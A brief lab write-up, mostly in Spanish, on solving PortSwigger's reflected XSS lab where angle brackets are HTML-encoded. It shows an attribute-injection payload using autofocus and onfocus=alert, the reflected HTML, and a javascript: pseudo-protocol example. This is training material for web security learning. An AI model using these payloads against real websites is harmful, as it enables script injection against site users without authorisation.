← Writeups

Reflected XSS into attribute with angle brackets HTML encoded

https://portswigger.net/web-security/cross-site-scripting/contexts/lab-attribute-angle-brackets-html-encoded

This lab contains a reflected cross-site scripting vulnerability in the search blog functionality where angle brackets are HTML-encoded. To solve this lab, perform a cross-site scripting attack that injects an attribute and calls the alert function.


https://siunam321.github.io/ctf/portswigger-labs/Cross-Site-Scripting/xss-7/

Los angle brackets son HTML encoded o URL encodeados o Percent Codeados, por ejemplo < pasa aser &lt en el codigo.

para eludir esto:

<section class=blog-header> 
<h1>5 search results for 'a'
</h1> <hr> </section>
" autofocus onfocus=alert(document.domain) closeme="
<section class=blog-header> 
<h1>0
search results for '&quot; autofocus onfocus=alert(document.domain) closeme=&quot;'</h1> <hr> </section>
  • utilizando event handlers: onfocus -> lanzar alert con cualquier valor como document.main
  • autofocus para que sea automatico sin interaccion del usuario
javascript:alert(1)
  • javascript pseudo protocol